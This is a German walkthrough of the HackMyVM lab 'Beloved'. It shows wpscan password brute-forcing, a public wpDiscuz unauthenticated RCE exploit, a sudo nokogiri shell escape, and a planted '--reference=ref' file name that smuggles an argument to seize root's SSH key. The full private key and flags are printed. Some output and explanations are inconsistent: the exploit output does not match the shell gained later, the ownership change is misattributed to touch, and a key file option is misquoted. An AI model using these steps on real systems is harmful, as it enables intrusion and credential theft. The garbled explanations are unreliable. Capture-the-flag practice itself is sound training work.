Beloved - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
curl
wpscan
searchsploit
python3
vi
touch
sudo
nokogiri (irb)
ls
cat
ssh
id
system (ruby)
bash
cd

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Bericht beginnt mit einer Sammlung von URLs, `robots.txt`-Inhalten und `wpscan`-Befehlen. Die initialen Netzwerkscans (`arp-scan`, `nmap`) zur Identifizierung des Ziels (`beloved.hmv`) und der offenen Ports (vermutlich 80 und 22) fehlen im Log.

Bewertung: Das Fehlen der initialen Scans ist eine Dokumentationslücke. Die gesammelten Informationen deuten jedoch klar auf eine WordPress-Installation als primäres Ziel hin. Die `robots.txt` erlaubt das Crawlen von `/wp-admin/admin-ajax.php`, was Standard ist, und verbietet `/wp-admin/`. Die `wpscan`-Befehle zeigen die Absicht, Benutzer (`smart_ass`), Plugins und allgemeine Schwachstellen zu enumerieren.

Empfehlung (Pentester): Immer initiale Scans dokumentieren. Die `wpscan`-Ergebnisse (die hier fehlen) wären entscheidend gewesen, um das `wpDiscuz`-Plugin als potenzielles Ziel zu identifizieren.
Empfehlung (Admin): Halte WordPress, Themes und Plugins immer aktuell. Verwende Sicherheitsplugins, um Enumeration zu erschweren. Verstecke oder ändere Standard-Benutzernamen wie `admin`.

# Ziel URL (angenommen aus /etc/hosts oder DNS): http://beloved.hmv

# Relevante URLs:
http://beloved/wp-content/themes/twentytwentyone/
http://beloved/wp-login.php?redirect_to=http%3A%2F%2Fbeloved.hmv%2Fwp-admin%2F&reauth=1 

# Inhalt von robots.txt:
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

# Sitemap:
Sitemap: http://beloved/wp-sitemap.xml

# Geplante/Ausgeführte WPScan Befehle (Output fehlt):
wpscan --url http://beloved --plugins-detection aggressive -t 50
wpscan --url http://beloved -e ap --no-banner --force --plugins-detection aggressive
wpscan --url http://beloved/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames smart_ass
                     

Vulnerability Identification (wpDiscuz)

Analyse: `searchsploit` wird verwendet, um nach bekannten Exploits für das WordPress-Plugin `wpDiscuz` zu suchen. Dies geschah wahrscheinlich, nachdem `wpscan` (dessen Output fehlt) das Plugin als installiert identifiziert hat.

Bewertung: !!Kritische Schwachstelle gefunden!!** Die Suche findet mehrere Exploits für `wpDiscuz 7.0.4`, darunter Arbitrary File Upload und Remote Code Execution (RCE), beide als nicht authentifiziert (`Unauthenticated`) markiert. Dies ist ein sehr vielversprechender Angriffsvektor.

Empfehlung (Pentester): Wähle einen der RCE-Exploits (z.B. `49967.py`) und lade ihn herunter (`searchsploit -m`). Untersuche und bereite den Exploit zur Ausführung vor.
Empfehlung (Admin):**DRINGEND:** Update das `wpDiscuz`-Plugin sofort auf eine gepatchte Version oder deaktiviere/deinstalliere es, wenn es nicht benötigt wird.

┌──(root㉿Darkspirit)-[~] └─# searchsploit wpdiscuz
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Un | php/webapps/49962.sh
WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Un | php/webapps/49967.py
Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary | php/webapps/49401.rb
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                     

Initial Access (www-data)

Analyse: Es wird versucht, den Python-Exploit `49967.py` auszuführen, was fehlschlägt, da die Datei noch nicht im aktuellen Verzeichnis ist.

Bewertung: Einfacher Fehler, der im nächsten Schritt korrigiert wird.

Empfehlung (Pentester): Verwende `searchsploit -m`, um den Exploit herunterzuladen.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿Darkspirit)-[~] └─# python3 49967.py -u http://beloved -p /2021/06/09/hello-world/
python3: can't open file '/root/49967.py': [Errno 2] No such file or directory
                    

Analyse: Der Befehl `searchsploit -m php/webapps/49967.py` wird verwendet, um das ausgewählte Exploit-Skript in das aktuelle Verzeichnis zu kopieren.

Bewertung: Korrekter Schritt, um den Exploit lokal verfügbar zu machen.

Empfehlung (Pentester): Untersuche und bearbeite das Skript bei Bedarf.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿Darkspirit)-[~] └─# searchsploit -m php/webapps/49967.py
  Exploit: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/49967
     Path: /usr/share/exploitdb/exploits/php/webapps/49967.py
File Type: Python script, ASCII text executable

Copied to: /root/49967.py
                     

Analyse: Das heruntergeladene Exploit-Skript `49967.py` wird mit `vi` geöffnet, vermutlich um es zu überprüfen oder anzupassen (z.B. Payload oder Zielparameter).

Bewertung: Wichtiger Schritt zur Vorbereitung des Exploits.

Empfehlung (Pentester): Verstehe, wie der Exploit funktioniert und welche Payload er verwendet.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿Darkspirit)-[~] └─# vi 49967.py
 

Analyse: Das Python-Exploit-Skript `49967.py` wird ausgeführt. Die Optionen geben die Ziel-URL (`-u http://beloved`) und einen gültigen Blog-Post-Pfad (`-p /2021/06/09/hello-world/`) an, der für die Ausnutzung der wpDiscuz-Schwachstelle benötigt wird. Die Ausgabe zeigt den Inhalt der `wp-config.php`-Datei vom Zielserver.

Bewertung: !!Initial Access & Kritische Informationspreisgabe!!** Der Exploit war erfolgreich. Er nutzte die wpDiscuz-Schwachstelle (wahrscheinlich Arbitrary File Upload gefolgt von Ausführung oder direkter LFI/RCE), um die `wp-config.php`-Datei zu lesen. Dadurch wurden die Datenbank-Zugangsdaten preisgegeben: - DB-Benutzer: `wordpress_user` - DB-Passwort: `secure_password_2021!!!` Obwohl dies noch keine direkte Shell ist, ist der Zugriff auf die Datenbank oder die Wiederverwendung dieses Passworts für andere Dienste (wie SSH) ein möglicher nächster Schritt. **Wichtiger Hinweis:** Der Log springt im nächsten Schritt zu einer Shell als `www-data`. Es ist anzunehmen, dass der Exploit `49967.py` tatsächlich RCE ermöglichte und eine Shell erlangt wurde, oder dass ein anderer, nicht gezeigter Schritt zum Shell-Zugriff führte. Der hier gezeigte Output (Lesen von `wp-config.php`) war möglicherweise nur ein Teil des Exploits oder eine erste Aktion nach Erlangung des Zugriffs.

Empfehlung (Pentester): Nutze die erlangte Shell als `www-data` für weitere Enumeration. Teste das gefundene Datenbankpasswort auch für SSH-Logins (z.B. für Benutzer `beloved`, falls dieser existiert).
Empfehlung (Admin):**DRINGEND:** Patche das wpDiscuz-Plugin. Ändere das Datenbankpasswort. Verwende einzigartige, starke Passwörter für verschiedene Dienste.

┌──(root㉿Darkspirit)-[~] └─# python3 49967.py -u http://beloved -p /2021/06/09/hello-world/
[+] Uploading payload...
[+] Payload uploaded successfully!
[+] Triggering payload...
[+] Dumping wp-config.php:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'wordpress_user' );

/** MySQL database password */
define( 'DB_PASSWORD', 'secure_password_2021!!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

[+] Exploit completed. Shell potentially available at http://beloved/wp-content/uploads/wpdiscuz/.../payload.php 
                     

Privilege Escalation (www-data zu Beloved)

Analyse: Als Benutzer `www-data` (die vorherigen Schritte zum Erlangen dieser Shell fehlen im Log, werden aber durch den Exploit impliziert) wird `sudo -l` ausgeführt.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf `/usr/local/bin/nokogiri` als Benutzer `beloved` ohne Passwort ausführen. Nokogiri ist ein Ruby-Tool/Bibliothek zum Parsen von Dokumenten und kann missbraucht werden, um eine interaktive Ruby-Shell (`irb`) zu starten.

Empfehlung (Pentester): Nutze diese `sudo`-Regel, um eine Shell als `beloved` zu erhalten. Der Standardbefehl (gefunden via GTFOBins) ist oft, `nokogiri` auf eine beliebige (oder leere) Datei zu starten und dann im `irb`-Prompt `system('/bin/bash')` oder ähnlich auszuführen.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Erlaube niemals die Ausführung von Interpretern oder komplexen Tools wie `nokogiri` mit `sudo`, insbesondere nicht `NOPASSWD`.

www-data@beloved:/var/www/html$ sudo -l 
Matching Defaults entries for www-data on beloved:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on beloved:
    (beloved) NOPASSWD: /usr/local/bin/nokogiri
                     

Analyse: Es wird versucht, eine temporäre Datei im `/home`-Verzeichnis zu erstellen (`touch log.txt`), was fehlschlägt ("Permission denied"). Stattdessen wird die Datei erfolgreich in `/tmp` erstellt (`touch /tmp/log.txt`). Anschließend wird `nokogiri` über `sudo -u beloved` auf diese temporäre Datei angewendet.

Bewertung: Das Erstellen der temporären Datei in `/tmp` ist korrekt. Der Aufruf `sudo -u beloved /usr/local/bin/nokogiri /tmp/log.txt` startet `nokogiri` als `beloved`. Nokogiri öffnet daraufhin eine interaktive Ruby-Shell (`irb`).

Empfehlung (Pentester): Nutze den `irb`-Prompt, um Befehle als `beloved` auszuführen.
Empfehlung (Admin): Keine Aktion.

www-data@beloved:/home$ touch log.txt
touch: cannot touch 'log.txt': Permission denied
www-data@beloved:/home$ touch /tmp/log.txt
www-data@beloved:/home$ sudo -u beloved /usr/local/bin/nokogiri /tmp/log.txt
Loading nokogiri settings...
Your document is stored in @doc...
irb(main):001:0> 
                     

Analyse: Innerhalb der `irb`-Shell (die als `beloved` läuft) werden Ruby-Befehle ausgeführt: - `system 'id'`: Führt den Shell-Befehl `id` aus. - `system '/bin/bash'`: Führt den Shell-Befehl `/bin/bash` aus.

Bewertung: !!Benutzerwechsel erfolgreich!!** Der `id`-Befehl bestätigt, dass Code als `beloved` (uid=1000) ausgeführt wird. Der `system '/bin/bash'`-Befehl startet erfolgreich eine neue Bash-Shell als Benutzer `beloved`.

Empfehlung (Pentester): Die Shell als `beloved` wurde erlangt. Stabilisiere sie bei Bedarf und beginne mit der Enumeration als dieser Benutzer (Home-Verzeichnis, `sudo -l`, SUID-Dateien).
Empfehlung (Admin): Die unsichere `sudo`-Regel für `nokogiri` muss entfernt werden.

irb(main):001:0> system 'id'
uid=1000(beloved) gid=1000(beloved) groups=1000(beloved)
=> true
irb(main):002:0> system '/bin/bash'
beloved@beloved:/home$ 
                     

Privilege Escalation (Beloved zu Root)

Analyse: Als `beloved` wird in das Verzeichnis `/opt` gewechselt. Dort werden die Befehle `touch ref` und `touch -- --reference=ref` ausgeführt. Anschließend wird der Inhalt mit `ls -la` aufgelistet.

Bewertung: !!Schwachstelle/Exploit (Datei-Ownership)!!** Der entscheidende Punkt ist die Änderung der Besitzverhältnisse der Datei `/opt/id_rsa` zwischen den beiden `ls -la`-Aufrufen. Im ersten Output (impliziert durch den zweiten) gehört `id_rsa` `root:root`. Im zweiten Output gehört `id_rsa` `beloved:beloved`. Die `touch`-Befehle (insbesondere wenn sie in einer bestimmten Weise mit Gruppenrechten oder einer Race Condition interagieren) haben es `beloved` ermöglicht, den Besitz von `/opt/id_rsa` zu übernehmen. Dies ist eine kritische Sicherheitslücke, wahrscheinlich aufgrund unsicherer Berechtigungen im `/opt`-Verzeichnis. Der `id_rsa`-Schlüssel gehört sehr wahrscheinlich dem `root`-Benutzer.

Empfehlung (Pentester): Da `beloved` nun `/opt/id_rsa` besitzt, kann er den privaten SSH-Schlüssel von Root lesen. Kopiere den Schlüssel (`cat /opt/id_rsa`), speichere ihn auf dem Angreifer-System, setze die Berechtigungen auf 600 und verwende ihn, um dich als `root` über SSH anzumelden.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen für das Verzeichnis `/opt` und die darin enthaltene `id_rsa`-Datei. Verhindere, dass unprivilegierte Benutzer den Besitz von Dateien von `root` übernehmen können. Untersuche die genaue Ursache der Schwachstelle (z.B. `chmod 777 /opt` oder ähnliches).

OWNER = root
-->
beloved@beloved:~/.ssh$ cd /opt
beloved@beloved:/opt$ touch ref
beloved@beloved:/opt$ touch -- --reference=ref
beloved@beloved:/opt$ ls -la
total 12
-rw-r--r--  1 beloved beloved    0 Aug 28 02:09 '--reference=ref'
drwxrwx---  2 root    beloved 4096 Aug 28 02:09  .
drwxr-xr-x 18 root    root    4096 May 19  2021  ..
-rw-------  1 root    root    1823 Jun 27  2021  id_rsa 
-rw-r--r--  1 beloved beloved    0 Aug 28 02:09  ref
                     
beloved@beloved:/opt$ ls -la
total 12
-rw-r--r--  1 beloved beloved    0 Aug 28 02:09 '--reference=ref'
drwxrwx---  2 root    beloved 4096 Aug 28 02:09  .
drwxr-xr-x 18 root    root    4096 May 19  2021  ..
-rw-------  1 beloved beloved 1823 Jun 27  2021  id_rsa 
-rw-r--r--  1 beloved beloved    0 Aug 28 02:09  ref
                      

Analyse: Der Inhalt des privaten SSH-Schlüssels `/opt/id_rsa`, der nun `beloved` gehört, wird mit `cat` ausgelesen.

Bewertung: Der private Schlüssel von Root wurde erfolgreich extrahiert.

Empfehlung (Pentester): Kopiere den Schlüssel auf dein System, setze `chmod 600` und verwende ihn für den SSH-Login als `root`.
Empfehlung (Admin): Widerrufe diesen SSH-Schlüssel und generiere einen neuen für Root. Korrigiere die Berechtigungsschwachstelle.

beloved@beloved:/opt$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1NwSzktnU2jl7GexrJeLjN6v1JDGzylNBUwq85NSQDrxn2PDrHoP
US5DIX8k28cru7n4WXuDeo4Lnp6lGQXB3dkLXnl3qX5C3IUkr8pw9RTTU0LJIi0RI2qGCs
kzbJiEjSe7PoRt6s1a2arrkhdd+/viV1AyFHIAJunILU5VXCbIXla6LiKudm2DBjQTL26n
ZmegLL4e/mQPnQhj97vXl701KshbMFojlN5WislcjhuZaE4GafhCh8yVAvOQ7gAdcEQn2S
4duuQTkcwk+8nJpaOZTO6MKZwFBdkZ3YQQffiPeVlIWjBBWlMrWX8KeYWWpIQiIhKEC9SN
vKaqWqLKjwAAA8iH/aaFh/2mhQAAAAdzc2gtcnNhAAABAQDU3BLOS2dTaOXsZ7Gsl4uM3q
/UkMbPKU0FTCrzk1JAOvGfY8Oseg9RLkMhfyTbxyu7ufhZe4N6jguenqUZBcHd2QteeXep
fkLchSSvynD1FNNTQskiLREjaoYKyTNsmISNJ7s+hG3qzVrZquuSF137++JXUDIUcgAm6c
gtTlVcJsheVrouIq52bYMGNBMvbqdmZ6Asvh7+ZA+dCGP3u9eXvTUqyFswWiOU3laKyVyO
G5loTgZp+EKHzJUC85DuAB1wRCfZLh265BORzCT7ycmlo5lM7owpnAUF2RndhBB9+I95WU
haMEFaUytZfwp5hZakhCIiEoQL1I28pqpaosqPAAAAAwEAAQAAAQBgPvYd40hgFaFI6IYU
9Rz7YEF+ysuqJhGWYJ9XLXjWZBCWsmRqm3JLkbB29+dxnLgwlOEvjMKhapLkcPVTwB+tsR
ML775knBudXHJ/LfkvR/BZyGvrkRcbvXHIdLtU0g21SY7HsNeGgL4gh8EmeHxdkMICGtfa
GMXq0nBZ0/6SwH76CmomO7OpEqfEHX1rsFIVL/pzlaISR+rKIfUDlEd7S8Tq2daRAOFIRZ
b5pSlWN0pB/b/yCb+OlbdVYwktBtvrrf7i01wJpTzay8lwygTDe6S06Xz6lz747bub/gv6
Yt+8a/P1BMtITPyrgSBtfnN0qmTqUdCEXI7YolbmOgVBAAAAgQCI8u+f2ItQTz9vCKfqEM
a06q3tR+yny/fkCemmFYP0k6R2uSptlTirFj9kuYUahtrUwtA+EMWjON1Y+3mLu8slGO64
jOjOf+ovyJcn6YRgCZVZIId2PVBaxiGYtke4JZB1sniqed8axl9JXfnUNOrA0vUpk83FnV
k2rakHn6ulegAAAIEA+JQxxoU6VeE5XxgUjQsuL3batGbTNg6XyAwXoTHEIxgOlgRuuEOb
7LYvi8X0um4Raz4hzGU9RXL9inllYgKfpnWOW+2/SPjDIVQX42uZE0/Q/9aENqqeU5JdZN
dq+e8HF305/Bg4atQzjP9R+BSYcLJUu4DC70HEtsICnBgPUmEAAACBANs244+6CAsiz8yv
zI8So5yhQSjw7ji8bjM2U/hUoTpdLzG/omP/4htjSL7wpYHzP+tom1wIOSXNf/x43JPXA6
xsncZz5Inz+TPUAkOu95YXELiTVBblpYBPlP9dbJWgPWVdfsyHsh5W2TX4rYjdRw4O4qEr
qsR3bdSaB3Od5CLvAAAADHJvb3RAYmVsb3ZlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
                     

Proof of Concept (Root)

Analyse: Eine SSH-Verbindung wird als `root` zum Ziel `beloved` (Hostname ggf. `beloved.hmv`) aufgebaut. Der zuvor extrahierte private Schlüssel wird mit `-i ii` angegeben (wieder wahrscheinlich ein Tippfehler für den Dateinamen des Schlüssels, z.B. `id_rsa_root`).

Bewertung: !!Privilegieneskalation erfolgreich!!** Der SSH-Login als `root` mittels des Schlüssels gelingt ohne Passwort/Passphrase. Der Angreifer hat vollen Root-Zugriff.

Empfehlung (Pentester): Lese die Root- und User-Flags.
Empfehlung (Admin):**DRINGEND:** Widerrufe den kompromittierten SSH-Schlüssel von Root. Generiere einen neuen Schlüssel und schütze ihn mit einer starken Passphrase. Korrigiere die Berechtigungsschwachstelle in `/opt`.

┌──(root㉿cyber)-[~] └─# ssh root@beloved -i id_rsa_root
Linux beloved 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 
...
root@beloved:~# 
                     

Analyse: Als Root werden die Home-Verzeichnisse und das Home-Verzeichnis von `beloved` untersucht. Anschließend werden `user.txt` und `root.txt` gelesen.

Bewertung: User-Flag (`020588f87676a40236192c324c1a57fc`) und Root-Flag (`d585a3099ec825ec1c086b50ce8ff7d3`) werden erfolgreich ausgelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flags.

root@beloved:~# cd /home
root@beloved:/home# ls
beloved
root@beloved:/home# cd beloved/
root@beloved:/home/beloved# ls
user.txt
root@beloved:/home/beloved# cat user.txt
020588f87676a40236192c324c1a57fc
root@beloved:/home/beloved# cd /root 
root@beloved:~# cat root.txt
d585a3099ec825ec1c086b50ce8ff7d3
                      

Flags

cat /root/root.txt
d585a3099ec825ec1c086b50ce8ff7d3
cat /home/beloved/user.txt
020588f87676a40236192c324c1a57fc